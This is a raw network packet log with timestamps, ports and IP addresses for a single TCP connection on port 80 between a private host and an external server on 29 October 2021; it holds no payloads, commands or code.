Oct 29, 2021 15:31:15.104485989 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104490042 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.104509115 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104530096 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104547024 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.104551077 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104573965 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104583979 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.104595900 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104618073 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104621887 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.104640961 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104664087 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104676008 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.104686975 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104707956 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104718924 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.104729891 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104751110 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104759932 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.104772091 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104794025 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104804039 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.104815960 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104837894 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104859114 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.104882002 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104887009 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.104907036 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104932070 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104954004 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104978085 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105001926 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105012894 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.105026007 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105050087 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105072021 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105094910 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.105094910 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105118990 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105130911 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.105144024 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105166912 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105190992 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105190992 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.105215073 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105236053 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.105238914 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105262995 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105279922 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.105288982 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105312109 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105334997 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105335951 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.105357885 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105380058 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105389118 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.105402946 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105426073 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105433941 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.105448961 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105458021 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.105472088 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105493069 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105516911 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105530977 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.105539083 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105561018 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105582952 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105583906 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.105604887 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105627060 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105640888 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.105648994 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105669975 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105678082 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.105691910 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105712891 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105715990 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.105735064 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105747938 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.105757952 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105777979 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105797052 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.105798960 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105820894 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105840921 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105860949 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105878115 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.105882883 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105905056 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105914116 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.105926991 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105946064 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105954885 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.105966091 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.105988026 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.106004000 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.106008053 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.106029987 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.106043100 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.106050968 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.106076002 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.106086016 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.106101990 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.106126070 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.106132984 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.106148958 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.106172085 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.106194973 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.106199980 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.106219053 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.106239080 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.106262922 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.106266975 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.106288910 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.106311083 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.106312037 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.106338978 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.106343031 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.106364012 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.106389046 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.106405020 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.106414080 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.106437922 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.106462002 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.106472015 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.106487036 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.106511116 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.106513977 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.106534958 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.106558084 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.106579065 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.106621027 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.132267952 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.132313013 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.132339001 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.132360935 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.132386923 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.132409096 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.132414103 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.132441044 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.132453918 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.132464886 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.132491112 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.132500887 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.132512093 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.132517099 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.132544041 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.132559061 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.132565975 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.132569075 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.132589102 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.132594109 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.132617950 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.132627010 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.132639885 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.132647991 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.132663965 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.132682085 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.133058071 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.133085012 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.133109093 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.133117914 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.133135080 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.133136034 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.133157969 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.133161068 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.133178949 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.133187056 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.133200884 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.133212090 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.133229971 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.133235931 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.133253098 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.133264065 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.133276939 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.133290052 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.133307934 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.133313894 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.133327961 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.133341074 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.133352995 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.133382082 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.134270906 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.134303093 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.134327888 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.134339094 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.134355068 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.134376049 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.134382010 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.134414911 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.134445906 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.152704954 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.152744055 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.152769089 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.152792931 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.152815104 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.152836084 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.152878046 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.152882099 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.152903080 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.152921915 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.152928114 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.152939081 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.152955055 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.152976990 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.152978897 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153003931 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153007030 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153028965 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153047085 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153053999 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153057098 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153079987 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153088093 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153099060 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153105021 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153129101 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153135061 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153151989 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153156996 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153181076 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153198004 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153217077 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153223991 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153239965 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153250933 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153270006 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153278112 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153287888 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153304100 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153315067 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153331041 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153356075 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153356075 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153369904 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153383017 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153398037 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153408051 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153429031 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153438091 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153445005 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153464079 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153485060 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153489113 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153511047 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153516054 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153541088 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153541088 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153558016 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153568029 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153590918 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153593063 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153608084 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153618097 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153633118 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153645992 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153671026 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153673887 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153687954 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153696060 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153712034 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153721094 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153732061 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153745890 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153764009 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153772116 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153795958 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153801918 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153811932 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153827906 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153844118 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153853893 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153872967 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153887033 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153907061 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153909922 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153928995 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153934956 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153955936 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153960943 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.153971910 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.153985977 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.154002905 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.154015064 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.154025078 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.154041052 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.154055119 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.154067039 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.154087067 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.154092073 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.154104948 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.154118061 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.154139996 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.154141903 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.154165030 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.154169083 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.154190063 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.154197931 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.154222012 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.154234886 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.154244900 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.154256105 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.154274940 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.154282093 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.154304981 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.154306889 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.154330969 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.154330969 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.154354095 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.154356003 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.154367924 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.154381990 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.154401064 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.154406071 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.154424906 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.154432058 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.154444933 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.154457092 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.154475927 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.154480934 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.154500961 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.154508114 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.154526949 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.154531956 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.154553890 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.154556990 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.154567957 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.154582977 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.154597998 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.154608011 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.154628992 CEST	49841	80	192.168.2.7	194.180.174.181
